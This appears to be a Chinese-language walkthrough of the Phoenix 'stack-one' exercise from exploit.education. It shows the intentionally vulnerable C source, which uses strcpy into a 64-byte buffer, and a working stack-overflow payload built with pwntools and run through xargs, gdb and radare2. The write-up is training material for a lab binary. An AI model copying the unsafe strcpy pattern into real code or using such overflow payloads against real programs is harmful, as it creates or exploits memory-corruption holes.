exploit.education/stack-one

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
* phoenix/stack-one, by https://exploit.education
*
* The aim is to change the contents of the changeme variable to 0x496c5962
*
* Did you hear about the kid napping at the local school?
* It's okay, they woke up.
*
*/

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;

printf("%s\n", BANNER);

if (argc < 2) {
errx(1, "specify an argument, to be copied into the \"buffer\"");
}

locals.changeme = 0;
strcpy(locals.buffer, argv[1]);

if (locals.changeme == 0x496c5962) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
locals.changeme);
}

exit(0);
}

分析

危险的strcpy()。结构体中的changeme变量会在进行strcpy时被溢出覆盖。记得stack-zero的目的,是改变changeme的值就会通过,但这个关卡要求我们必须将changeme改变成0x496c5962才行。
结构体locals包含两个成员,与stack-zero相同。64个字符+1个int。

实操

首先,strcpy是从argv[1]中获取的输入,所以如果我们直接将输出传给stack-one,会出错:

1
2
3
4
5
6
7
8
user@phoenix-amd64:~$ python -c "print 'A'*65"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@phoenix-amd64:~$ python -c "print 'A'*65" | /opt/phoenix/amd64/stack-one
Welcome to phoenix/stack-one, brought to you by https://exploit.education
stack-one: specify an argument, to be copied into the "buffer"
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr

解决办法是用xargs命令:

1
2
3
user@phoenix-amd64:~$ python -c "print 'A'*65" | xargs /opt/phoenix/amd64/stack-one 
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Getting closer! changeme is currently 0x00000041, we want 0x496c5962

可以看到,我们将changeme改变为了0x41,即字符A
接下来就简单了,只要构造0x496c5962就可以。
使用pwntoolsp32/p64即可。

1
2
3
4
user@phoenix-amd64:~$ python -c "import pwn;print 'A'*64+pwn.p64(0x496c5962)" | xargs /opt/phoenix/amd64/stack-one 
xargs: WARNING: a NUL character occurred in the input. It cannot be passed through in the argument list. Did you mean to use the --null option?
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value

其他方式

GDB

1
2
3
4
5
6
7
8
python -c "import pwn;print 'A'*64+pwn.p64(0x496c5962)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI\x00\x00\x00\x00
user@phoenix-amd64:~$ gdb /opt/phoenix/amd64/stack-one
gef➤ run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI
Starting program: /opt/phoenix/amd64/stack-one AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
[Inferior 1 (process 9358) exited normally]

或者

1
2
3
4
5
6
gef➤  set args AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI
gef➤ run
Starting program: /opt/phoenix/amd64/stack-one AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
[Inferior 1 (process 9363) exited normally]

radare2

1
2
3
4
5
6
7
8
9
10
11
user@phoenix-amd64:~$ r2 /opt/phoenix/amd64/stack-one 
[0x00400500]> ood `!python -c "import pwn;print 'A'*64+pwn.p32(0x496c5962)"`
Process with PID 9383 started...
File dbg:///opt/phoenix/amd64/stack-one AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI reopened in read-only mode
= attach 9383 9383
Assuming filepath /opt/phoenix/amd64/stack-one
[0x7ffff7dc5d34]> dc
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
PTRACE_EVENT_EXIT pid=9383, status=0x0
= attach 9383 1

总结

python的pwntools好用的很,相比gdb,radare2的用法好像更灵活。以后尽可能用两种工具都实操一下。